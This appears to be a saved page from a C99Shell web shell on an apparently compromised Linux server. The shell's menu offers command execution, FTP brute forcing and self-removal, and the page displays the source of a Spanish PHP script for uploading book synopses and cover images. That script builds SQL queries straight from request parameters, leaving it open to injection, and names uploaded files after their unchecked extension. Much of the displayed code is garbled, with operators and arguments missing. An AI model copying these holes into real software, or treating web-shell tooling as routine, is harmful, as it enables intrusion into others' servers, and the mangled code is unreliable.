!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/   drwxrwxr-x
Free 83.32 GB of 96.73 GB (86.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ftpuploadsinopsis.php (6.24 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<head>


<!-- END -->
<link rel="stylesheet" type="text/css" href="nuevo.css">

<link rel="STYLESHEET" type="text/css" href="estilo.css">
</head>
 <body>

<?php
include("conn.php");
echo 
"<pre>";


echo 
"<h3>deshabilitado por motivos de seguridad. En breve, ser� puesto de nuevo en funcionamiento</h3>";
 
?>
 <br><center>
<a href='javascript:history.back(-1)' style="text-decoration:none"><img src=volver.png border=0></img></a>
<?
die();    
#print_r($_REQUEST) ;
if ($_SERVER) {
$realip $_SERVER["REMOTE_ADDR"];

} else {

$realip getenv'REMOTE_ADDR' );

}

$fecha=date("Y-m-d H:i:s"); 

  
  

  
$Arrayextension_imagen=explode(".",$_FILES['imagen']['name']);

  
$extensionimagen=$Arrayextension_imagen[count($Arrayextension_imagen)-1];
 
  
$imagen=$_REQUEST['ID'].".".$extensionimagen;  
  echo 
"<h1>imagen es $imagen<h1>";
 
  
  
  
  
  
  
 
 
 
 
    



   
 

   
$localfile $_FILES['imagen']['tmp_name'];
   if (
$localfile>''){
   

   
   
   
   
$ok=copy ($localfile,"./includes2/$imagen");
   

      
// esto es reescalado de imagen
 
$origen="./includes2/";
$destino='./includes/';
$resize=1;
$calidad=70;

imgress($origen,$destino,$resize,$calidad);

// y borramos el origen.....
unlink("./includes2/$imagen");
   
   }

   
 
// primero vemos si no existe: insertamos.
 
$sqla="select * from sinopsis where id_book='{$_REQUEST['ID']}'";
 
$resa=mysql_query($sqla,$conn);
 @
$rowa=mysql_fetch_array($resa);
 
 if (!
$rowa){
      
// no exista, insertamos
 
  
echo "insercion";
  
 
   
$querysip="insert into sinopsis (id_book, sinopsis) values ('{$_REQUEST['ID']}','{$_POST['sinopsis']}')";
      
mysql_query($querysip,$conn); 
      echo 
mysql_error();
    if (
$ok){
         
$querysip="update  sinopsis set imagename='$imagen' where id_book='{$_REQUEST['ID']}'";
         
mysql_query($querysip,$conn); 
    }
  
 
   
$querysip="update  libros set sinopsis='*' where id={$_REQUEST['ID']}";
   
//echo $querysip."<br>";
    
mysql_query($querysip,$conn); 
   ECHO 
mysql_error();
 }elseif (!EMPTY(
$_FILES['imagen']['name'])){
      echo 
"actualizando imagen ";
      
// no existe imagen
      
if ($ok){
         
$querysip="update  sinopsis set imagename='$imagen' where id_book='{$_REQUEST['ID']}'";
     }
         
  
   
mysql_query($querysip,$conn);
  
// solo por subir imagen, no voy a poner sinopsis en OK!!
   //$querysip="update  libros set sinopsis='*' where id={$_REQUEST['ID']}";
   //echo $querysip."<br>";
    //mysql_query($querysip,$conn); 
 
}elseif  (!empty($_POST['sinopsis'])){ 
      echo 
"actualizando sinopsis "
      
// no existe sinopsis
        
$querysip="update  sinopsis set sinopsis='{$_POST['sinopsis']}' where id_book='{$_REQUEST['ID']}'";
  
  
   
mysql_query($querysip,$conn);    
   
$querysip="update  libros set sinopsis='*' where id={$_REQUEST['ID']}";
   
//echo $querysip."<br>";
    
mysql_query($querysip,$conn);   
 }
      
      
     
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
/*
 $sql="SELECT t1.session_user_id, t2.username_clean as usuario
FROM phpbb_sessions t1, phpbb_users t2
WHERE t1.session_user_id = t2.user_id
AND t1.session_id = '".$_REQUEST['phpbb3_f6ktf_sid']."'";

$res2=mysql_query($sql,$conn);
$row2=mysql_fetch_array($res2);


if  ($row2['usuario']=='anonymous' or !$row2['usuario']){
    $usuario="an�nimo";
}else{
    $usuario=$row2['usuario'];
}
 $fecha=date("Y-m-d H:i:s"); 
 $query="insert estadistica (id_book,
 fecha,
 ip ,
 titulo,
 autor,
 accion,
 nick) 
 values(
 {$_REQUEST['ID']},
 '$fecha',
 '$realip',
 '{$row['titulo']}',
 '{$row['autor']}',   
 'sinopsis',
 '$usuario' 
 )";   
mysql_query($query,$conn);
 
*/ 
 
  
$sqlf="select * from sinopsis where id_book='{$_REQUEST['ID']}'"

$resf=mysql_query($sqlf,$conn);
$rowf=mysql_fetch_array($resf);
?><center><img src="./includes/<?php echo $rowf['imagename'];?>"></img>
<table border=1 whidth=width='450'><tr><td><?php echo $rowf['sinopsis'];?></table>

  <br><center>
<a href='javascript:history.back(-1)' style="text-decoration:none"><img src=volver.png border=0></img></a>
  <?php
//echo '<center><a href ="entradilla.php"><img src="papyreicon.gif" WIDTH=32 HEIGHT=32></img><B>P�gina Principal</B></a>'; 

   
mysql_close($conn); 
/*   
function elimina_acentos($cadena){
$tofind = "�������������������������������������������������������+[]?�!�,;�";
$replac = "nnAAAAAAaaaaaaOOOOOOooooooEEEEeeeeCcIIIIiiiiUUUUuuuuyNn___----_-i";
return(strtr($cadena,$tofind,$replac));

*/   



function imgress($diror,$dirdest,$val,$qual){
$q=$qual;
//open the directory
if (is_dir($diror)) {
   if (
$dh opendir($diror)) {
      while ((
$file readdir($dh)) !== false) {
        if(
$file == "." || $file == ".."){continue;}
                 
$k=explode(".",$file);
            if(
strpos($k[1],"jpg")===|| strpos($k[1],"jpeg")===0){
            
$salva=$dirdest.$file;
                    
$image=$diror.$file;
            
$im =imagecreatefromjpeg("$image");
            
$x=imagesx($im);
            
$y=imagesy($im); 
            if (
$x<>132 or $y<>216){
            
$k=array("salidaenfalso","salidaenfalso");
            } 
            
$thumbnail=imagecreatetruecolor(132,216);
            
$im_ridimensionata=imagecopyresized$thumbnail$im0000132,
            
216$x$y);
            
imagejpeg($thumbnail$salva$q);        
                    }
            elseif(
strpos($k[1],"gif")===0){
            
$salva=$dirdest.$file;
                    
$image=$diror.$file;
            
$im =imagecreatefromgif("$image");
            
$x=imagesx($im);
            
$y=imagesy($im);   
            
$thumbnail=imagecreatetruecolor(132,216);
            
$im_ridimensionata=imagecopyresized$thumbnail$im0000132,
            
216$x$y);
            
imagegif($thumbnail$salva$q);
                }
            elseif(
strpos($k[1],"png")===0){
            
$salva=$dirdest.$file;
                    
$image=$diror.$file;
            
$im =imagecreatefrompng("$image");
            
$x=imagesx($im);
            
$y=imagesy($im);   
            
$thumbnail=imagecreatetruecolor(132,216);
            
$im_ridimensionata=imagecopyresized$thumbnail$im0000132,
            
216$x$y);
            
imagepng($thumbnail$salva$q);
                }
            else{
                echo 
"$diror File not compatible(no jpg,gif or png)";
            } 
            
flush();  
            }
            
closedir($dh);
            }else{
                echo 
"no se pudo abrir";
            }
    }
}

 
?>
</body>



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0045 ]--